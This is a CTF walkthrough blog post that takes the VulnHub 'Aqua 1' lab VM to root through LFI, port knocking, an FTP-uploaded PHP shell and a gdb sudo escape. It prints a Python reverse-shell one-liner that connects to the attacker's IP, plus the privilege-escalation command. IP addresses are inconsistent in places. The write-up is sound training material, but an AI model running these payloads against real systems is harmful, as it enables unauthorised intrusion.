Aqua 1: VulnHub Capture the Flag (CTF) walkthrough
In this article, we will find an answer to a Capture the Flag (CTF) challenge published on VulnHub by the author yunaranyancat. As per the information given by the author, the difficulty level of this CTF is hard and there is one intended way to get the low privilege user, but there are two different ways to get the root access of this CTF.
To complete this CTF, we have to capture two flags. Prerequisites for this CTF would be to have some knowledge of Linux commands and the ability to run some basic penetration testing tools.
As you may know from previous articles, VulnHub is a platform which provides vulnerable applications/machines for learners to gain practical hands-on experience in the field of information security. You can check my previous articles for more CTF challenges. I have also provided a downloadable URL for this CTF; you can download the machine and run it on VirtualBox.
The torrent downloadable URL is also available for this VM. It’s been added in the reference section of this article.
Please note: For all of these machines, I have used Oracle Virtual Box to run the downloaded machine. I am using Kali Linux as an attacker machine for solving this CTF. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets.
The summary of steps required for solving this CTF is given below.
- Get the victim machine IP address by running the netdiscover utility
- Scan open ports by using the nmap scanner
- Enumerate HTTP service with Dirb and Nikto Vulnerability Scanner
- Identify the local file inclusion vulnerability (LFI) and use it for more enumeration
- More enumeration with LFI
- Open the FTP port by using the port-knocking sequence
- Upload the shell and get the reverse connection
- Get the reverse shell of the victim machine
- Get root access
So, now that we have all the information that we need, let us get started with the challenge.
After downloading and running this machine on VirtualBox, the first step is to explore the VM by running the netdiscover command to get the IP address of the victim machine. The netdiscover command output can be seen in the screenshot given below. [CLICK IMAGES TO ENLARGE]
Command used: netdiscover
As we can see above, we’ve got the virtual machine IP address: 192.168.1.122 (the victim machine IP address). I can also see the IP address of other connected devices to my router but due to security reasons, I have hidden the MAC address of the connected devices. We will be using 192.168.1.14 as the attacker IP address.
Please note: The target and attacker machine IP addresses may be different, as per your network configuration.
After getting the victim machine IP address, the first step is to find out the open ports and services available on the machine. I conducted an nmap full-port scan for this purpose. I also used the -sV switch with nmap to show us the version of the services running on open ports. The scan results can be seen below:
Command used: nmap -p- 192.168.1.22
The nmap output shows that four ports were identified as Open in the port scanning. Also, with the open port, we can see the associated services and their running versions in the above screenshot.
Another interesting thing which I observed during the port scan is that port 21 was showing as filtered. It means this port is open but somehow, it’s protected. As of now, I’ll leave port 21 here. In the next step, we will start the enumeration with the HTTP port.
I started opening the IP address into the browser. There was a website running, which was showing an image with a message:
The message available on the target website states that this computer was hacked, and they were looking for help. There was a button available, so I clicked on “Sure, I’ll help.” After clicking on the button, the website redirected to another page:
- Username: megumin
- Password: watashiwamegumin
As we can see above, I got a username and password, but at this point, I was not aware where to use these credentials. I noted these credentials and started enumerating the website for further clues.
I stared the dirb utility to identify other directories and files. The output of the dirb utility can be seen below.
Command used: dirb http://192.168.1.22/
After completion of the dirb scan, we have identified two directories which can be seen in the highlight area of the above screenshot but when I visited these directories, I could not find anything useful. I noted this information and continued my enumeration by running another vulnerability scanner. This time, I used the Nikto vulnerability scanner. It can be seen below:
Command used: nikto –host http://192.168.1.22
The scanner took some time to complete the scan. After that, I analyzed the output of the scanner and found the “login.php” file, which is highlighted in the above screenshot.
The login page can be seen in the above screenshot. Our first-level enumeration has been completed and we’ve found a login page, user credentials and two different directories. In the next step, we will check this login page in detail.
In the previous step, we identified the login page. First, I tried SQL injection on the username and password fields, but that didn’t seem to be working. After that, I tried the identified username and password on the login page and that worked as we were able to login into the application, which can be seen in the following screenshot:
After logging into the application, there were multiple different images available on the homepage which didn’t make any sense. But when I closely looked at the parameter in the URL, I felt that it might be vulnerable with the way it was calling various pages.
I started testing this parameter for possible vulnerabilities and found that this parameter was vulnerable for Local File Inclusion (LFI). I could read the /etc/passwd file through the parameter, which can be seen in the following screenshot:
As we can see above, the “etc/password/” file was displaying information on the browser. It shows that there are two users available on this system. I tried to read some other files which could provide some further clues, but I could not succeed.
From step 2, we know that the FTP port was also identified as filtered, so I decided to check the IP table configuration to identify what kind of configurations are set for this port. By utilizing the LFI vulnerability, I read the iptables file. Through that, I got to know there is some kind of port-knocking configuration set for this port. I read the “knockd.conf” file, which can be seen in the screenshot below:
As we can see, we now know that the port-knocking technique was implemented on the FTP port due to which it was showing filtered during the port scanning. Port-knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of pre-specified closed ports.
In the highlighted area of the above screenshot, we can see the sequence. In the next step, we will be using this sequence for opening the FTP Port.
For knocking the port using this sequence, we used the “knock” utility from the attacker machine, which is by default available on Kali Linux. With the knock utility we provided the identified sequence, which can be seen below:
- knock 192.168.1.22 1234 5678 9012 –v
- nmap 192.168.1.22 -p21
In the above screenshot, we can see that the port-knocking sequence was successfully completed on the victim machine IP. After that, I used nmap again to check whether the FTP port has opened. The scan results show that it is open.
As we already have a pair of credentials from the previous steps, I tried the same for logging into the FTP port. The login was successful.
Command used: ftp 192.168.1.22
After logging into the victim machine FTP service, I ran the ls command, which shows a PHP file and two folders. I noticed that the “production” name folder was having the read and write permissions on the victim machine. This can be seen in the highlighted area of the above screenshot.
As we know, we identified the “production” folder during the web application enumeration in step 3. This means that the files uploaded into this folder can be accessed through the web application. So, I quickly created a simple command shell and uploaded the same in the “production” folder. In order to do it, I ran a few commands in a sequence:
Command used: put shell.php
As we can see above, first I used the put command to upload the “shell.php” file on the victim machine. But it returned a negative message on the screen because the current directory did not have full permissions. After that, I changed the current directory to “production” and was able to successfully upload the file.
Now let’s access the “shell.php” file through the web application:
As we can see in the above screenshot, we used the LFI vulnerability to access the uploaded PHP shell. After that, we used the ls command to verify its functionality, and the output confirms that our shell is working on the victim machine.
We know that the goal of this CTF is to get to the root of the victim machine, so now we will work towards getting the reverse shell on our attacker machine.
In this step, we will get the reverse shell connection of the victim machine. From my previous articles, we already know that there are multiple ways of getting a reverse shell connection.
Let’s start with enumerating whether the victim machine has Python installed or not. I used the python –help command for this purpose. The results can be seen below.
In the command output, we got the Python help menu printed on the browser. It means that Python is available on the victim machine and we can use that to run custom payloads directly from the browser.
I created a Python reverse connection script and added that in the LFI parameter of the URL. I also set up my attacker machine to receive the reverse connection on port 1234. The result can be seen in the following screenshot:
CRAFTED URL with Python shell:
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.1.23”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh“,”-i”]);’
As can be seen above, we were able to get the reverse shell connection of the victim machine, but it was not the root shell. I used the id command to confirm the same, and it can be seen in the following screenshot.
Command used: python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
As can also be seen in the highlighted area above, I ran one more Python command to get the stable shell of the victim machine. After that, I logged into the “megumin” user by using the credentials provided in step 3 during the web application enumeration. The password worked, and I had the access of the victim machine as user “megumin.”
Command used: su megumin
Once logged in as megumin, I again confirmed using the id that this was not a root user. In the next step, I will try to get the root.
I started exploring each directory of the victim machine as user megumin for further clues. During this, I found my first flag and a hint to proceed further to the root of the victim machine. The flag file was “user.txt” in the home directory on the victim machine. The file can be read in the below message, along with the hint highlighted with red.
In the above message, we understand the message is to provide us with a hint that there are two ways to get the root access from here. I could also see that along with the “user.txt” file, there were two more files in this directory named “backdoor” and “sourcecode.” I read the contents of the “backdoor” file and found that it was a backdoor that can be used to gain access to the root user. After that, I again set up my attacker machine to receive a reverse connection through this shell.
As we can see, I used a few commands in a sequence that are explained below.
- The cat command was used to read the contents of the file.
- Here we can see that the backdoor is set up to be received on port 1337. I configured my victim machine to receive connection on this port.
- Now, I used the sudo -1 command to check the megumin user privilege and found that it is allowed to run the backdoor on the victim machine.
- In this step, the backdoor was executed on the victim machine.
- We received the reverse connection on our attacker machine configured according to the provided port number 1337.
After the backdoor was successfully run, we gained access to the “aqua” user on the victim machine.
As we can see above, we are able to run the gdb utility, which is being run as root. When I read more about this utility on Google, I found that it is a popular debugging tool in Linux and can be executed by using the “!bash” switch. When we executed the gdb utility, it provided the root access of the victim machine, as it was being run as root. The command and its output can be seen in the below screenshot:
Command used: sudo /usr/bin/gdb -nx -ex ‘!bash’ -ex quit
Now that we have the root access of the victim machine, the last step left to finish the CTF is to read the flag file. This was not difficult to find, as it was available in the current directory. The flag file “root.txt” can be seen in the following screenshot.
This completes the CTF.
Hope you enjoyed solving it with me! Be sure to check out the other articles in this series for more CTF challenges.